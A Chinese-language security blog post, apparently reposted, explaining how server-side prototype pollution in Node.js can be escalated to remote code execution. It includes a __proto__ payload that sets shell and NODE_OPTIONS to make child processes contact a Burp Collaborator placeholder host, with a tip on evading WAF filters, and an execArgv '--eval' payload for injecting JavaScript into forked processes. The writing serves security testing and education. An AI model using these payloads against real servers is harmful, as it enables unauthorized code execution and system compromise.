异步投毒、fork触发的赏金杀招:服务端原型污染RCE拆解

admin 2026-05-25 04:34:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文拆解Node.js服务端原型污染致RCE的攻击链:通过污染__proto__注入NODE_OPTIONS配合BurpCollaborator探测异步请求,再利用fork的execArgv属性结合–eval参数实现任意代码执行。建议安全测试时重点关注原型链污染点及子进程创建参数。 综合评分: 84 文章分类: 漏洞分析,WEB安全,渗透测试


cover_image

异步投毒、fork触发的赏金杀招:服务端原型污染RCE拆解

原创

升斗安全XiuXiu 升斗安全XiuXiu

升斗安全

2026年5月24日 00:08 广东

在小说阅读器读本章

去阅读

【文章说明】

  • 目的:本文内容仅为网络安全技术研究与教育目的而创作。
  • 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
  • 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
  • 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。

敏锐的你可能早已发现,客户端的原型污染往往会把网站拖入 DOM 型 XSS 的泥潭;但真正“性感”的玩法,是能把这种污染一路传导到服务端,最终实现远程代码执行。这一篇,我们就来拆解如何在 Node.js 应用中,把藏在原型链里的“脏数据”变成一枚精准的 RCE 弹头。

怎么找到那个“脆弱”的请求?

在 Node 的世界里,存在不少命令执行的“落点”,大量集中在 child_process 模块中。有意思的是,触发这些执行点的请求,通常跟你最初植入污染的那个请求是异步的。啥是异步?换句话说,你投毒时风平浪静,只有在创建某个子进程的动作时,才会真正激活你的 payload。

为了把这种“潜伏”的请求揪出来,我们常用一个技巧:往原型里塞一个试探性的载荷,一旦被调用,就会朝你的 Burp Collaborator 打个招呼。

这里有一个关键角色:NODE_OPTIONS 环境变量。它相当于一个默认的命令行参数串,每次新开一个 Node 进程,都会把它带上。又因为 NODE_OPTIONS 本质上是 env 对象上的一个属性,只要开发者没显式定义它,你就有可能通过污染原型来悄悄“塞私货”。

某些创建子进程的函数还允许指定一个 shell 属性,用来告诉系统用哪个命令行解释器(比如 bash)。把恶意的 NODE_OPTIONS 和这个 shell 拼在一起,就能造出一个轻量级探测弹:

"__proto__": {    "shell":"node",    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"}

一旦某个请求内部偷偷创建了新的 Node 进程,你的 Collaborator 就会收到一条 DNS 或 HTTP 交互。谁是那个“内鬼”请求,一目了然。

小提示:主机名里那串转义双引号并不是强制要求,但它能把真实域名包裹得“面目全非”,绕过一些对主机名做简单抓取和过滤的 WAF,减少误报的同时,也降低了暴露风险。

从 child_process.fork() 撕开口子,直取 RCE

原型污染的威力不仅在于发现,更在于利用。child_process 模块里的 spawn() 和 fork() 都用来创建新的 Node 子进程。其中 fork() 接收一个 options 对象,里面有个属性叫 execArgv,它是字符串数组,存着传给子进程的命令行参数。开发者如果没主动设这个属性,它就有机会被原型上的恶意值覆盖。

这等于直接把命令行参数的操控权交到了你手里,让一些在 NODE_OPTIONS 中受限的攻击手段变得唾手可得。比如 –eval 参数,能让你塞进任意 JavaScript,交由子进程执行。这个后门足够宽,甚至能在环境中动态加载额外模块:

"execArgv":&nbsp;[&nbsp; &nbsp;&nbsp;"--eval=require('<module>')"]

再顺着链条往下走,execSync() 方法又允许你把任意字符串直接当作系统命令执行。把 JS 注入与命令注入这两个点串起来,一个原本藏在犄角旮旯的原型污染,就能被放大成服务器上的完整 RCE。到这一步,shell 就在你手中了。

挖洞的路总是充满偶然,但把原型污染的丝线一路拽成 RCE 的绳索,这就是赏金猎人拉开差距的地方。希望这篇拆解能让你在下一次测试时,多一份对“脏原型”的敏感度。

如果觉得有收获,别忘了点赞、在看,也欢迎转发给身边挖洞的小伙伴,一起精进技术。还没关注的老铁,点个关注,我们下篇继续聊那些真正能变现的攻击链。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:升斗安全 升斗安全XiuXiu 升斗安全XiuXiu《异步投毒、fork触发的赏金杀招:服务端原型污染RCE拆解》

评论:0   参与:  0